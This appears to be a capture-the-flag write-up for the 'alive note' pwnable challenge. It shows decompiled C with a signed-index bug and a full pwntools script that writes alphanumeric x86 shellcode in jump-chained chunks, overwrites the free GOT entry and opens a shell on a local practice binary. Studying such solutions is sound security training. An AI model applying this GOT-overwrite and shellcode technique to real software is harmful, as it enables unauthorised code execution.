ntype.club

alive note

where the shellcodes are

char **notes[]; //0x804a080

//only allows alphanumeric and space
int check(char *chk)
{
    int min = 0; //ebp-0xc
    int sz = strlen(chk);
    
    char *curr = chk;
    while(min <= sz) {
        curr += min;
        if(*curr != ' ') {
            short *table = *__ctype_b_loc();
        }           
        min++;
        sz = strlen(chk);
    }

    return 1;
}

void add_note()
{
    char writeto[8];

    printf("Index");
    int rd = read_int();
    if(rd > 10) {
        puts("Out of bounds");
        exit();
    }

    printf("Name");
    read_input(writeto, 8);
    int isalnum = check(writeto);
    if(isalnum == 0) {
        puts("must be alphanumeric");
        exit();
    }

    char *cpy = strdup(writeto);
    notes[rd * 4] = cpy; //can go backwards !
    puts("Done");
}

int main() {
    setvbuf(stdout);
    setvbuf(stdin);

    menu();
    int rd = read_int();
}

The signed comparison in add_note means any (writable) memory before the global notes address can be corrupted. Each note is only 0x10 bytes, shellcode must jump towards the next higher addressed note to manifest an exploit.

from pwn import *

sh = process('./alive_note')

pause()

gotfree = 0x0804a014
gotexit = 0x0804a024
bss = 0x0804a080

jmpframe = b'\x71\x38'

## alphanumeric shellcode 

#0:  50                      push   eax
#1:  59                      pop    ecx
#2:  66 68 45 45             pushw  0x4545
#6:  66 5a                   pop    dx
#8:  51                      push   ecx
#9:  30 31                   xor    BYTE PTR [ecx],dh
#b:  41                      inc    ecx
#c:  41                      inc    ecx
#d:  41                      inc    ecx
#e:  41                      inc    ecx
#f:  30 31                   xor    BYTE PTR [ecx],dh
#11: 41                      inc    ecx
#12: 41                      inc    ecx
#13: 41                      inc    ecx
#14: 41                      inc    ecx
#15: 4b                      dec    ebx
#16: 53                      push   ebx
#17: 53                      push   ebx
#18: 58                      pop    eax
#19: 66 35 48 55             xor    ax,0x5548
#1d: 66 35 37 67             xor    ax,0x6737
#21: 50                      push   eax
#22: 5a                      pop    edx
#23: 58                      pop    eax
#22: 66 35 55 48             xor    ax,0x4855
#26: 66 35 67 37             xor    ax,0x3767
#2a: 50                      push   eax
#2b: 30 31                   xor    BYTE PTR [ecx],dh
#2d: 41                      inc    ecx
#2e: 5a                      pop    edx
#2f: 30 31                   xor    BYTE PTR [ecx],dh
#33: 59                      pop    ecx
#34: 59                      pop    ecx
#35: 43                      inc    ebx
#36: 53                      push   ebx
#37: 5a                      pop    edx
#38: 43                      inc    ebx
#39: 43                      inc    ebx
#3a: 43                      inc    ebx
#3b: 43                      inc    ebx
#3c: 43                      inc    ebx
#3d: 43                      inc    ebx
#3e: 43                      inc    ebx
#3f: 43                      inc    ebx
#40: 43                      inc    ebx
#41: 43                      inc    ebx
#42: 43                      inc    ebx
#43: 53                      push   ebx
#44: 52                      push   edx
#45: 52                      push   edx
#46: 51                      push   ecx
#47: 54                      push   esp
#48: 55                      push   ebp
#49: 52                      push   edx
#4a: 52                      push   edx
#4b: 61                      popa

mkframe0 = b'\x50\x59\x66\x68\x45\x45'
mkframe1 = b'\x66\x5a\x51\x30\x31\x41'
mkframe2 = b'\x41\x41\x41\x30\x31\x41'
mkframe3 = b'\x41\x41\x41\x4b\x53\x53'
mkframe4 = b'\x58\x66\x35\x48\x55\x50'
mkframe5 = b'\x66\x35\x37\x67\x50\x5a'
mkframe6 = b'\x58\x58\x66\x35\x55\x48'
mkframe7 = b'\x66\x35\x67\x37\x50\x50'
mkframe8 = b'\x30\x31\x41\x5a\x30\x31'
mkframe9 = b'\x59\x59\x43\x53\x5a\x43'
mkframe10 = b'\x43\x43\x43\x43\x43\x43'
mkframe11 = b'\x43\x43\x43\x43\x53\x52'
mkframe12 = b'\x52\x51\x54\x55\x52\x52'
mkframe13 = b'\x61\x47\x47\x47\x47\x71\x41\x00'

def blankframe(sh):
    sh.sendlineafter('choice :', b'1')
    sh.sendlineafter('Index :', b'9')
    sh.sendlineafter('Name :', b'AAAA')
    sh.recvuntil('Done !')
    return

def hotframe(sh, addr, content):
    down = (addr - bss)//4
    sh.sendlineafter('choice :', b'1')
    sh.sendlineafter('Index :', str(down).encode('ascii'))
    sh.sendafter('Name :', content + jmpframe)
    sh.recvuntil('Done !')
    
    #create our 3 blank frames to jump over
    blankframe(sh)
    blankframe(sh)
    blankframe(sh)

    return

def fillframe(sh, idx, content):
    sh.sendlineafter('choice :', b'1')
    sh.sendlineafter('Index :', str(idx).encode('ascii'))
    sh.sendafter('Name :', content)
    sh.recvuntil('Done !')
    return

trigger = (gotfree - bss)//4

hotframe(sh, gotfree, mkframe0)
hotframe(sh, bss, mkframe1)
hotframe(sh, bss, mkframe2)
hotframe(sh, bss, mkframe3)
hotframe(sh, bss, mkframe4)
hotframe(sh, bss, mkframe5)
hotframe(sh, bss, mkframe6)
hotframe(sh, bss, mkframe7)
hotframe(sh, bss, mkframe8)
hotframe(sh, bss, mkframe9)
hotframe(sh, bss, mkframe10)
hotframe(sh, bss, mkframe11)
hotframe(sh, bss, mkframe12)

sh.sendlineafter('choice :', b'1')
sh.sendlineafter('Index :', b'5')
sh.sendafter('Name :', mkframe13)
sh.recvuntil('Done !')

blankframe(sh)
blankframe(sh)
blankframe(sh)

sh.sendlineafter('choice :', b'1')
sh.sendlineafter('Index :', b'9')
sh.sendafter('Name :', b'jbinjsh\x00')
sh.recvuntil('Done !')

sh.sendlineafter('Your choice :', b'3')
sh.sendlineafter('Index :', b'9')
sh.interactive()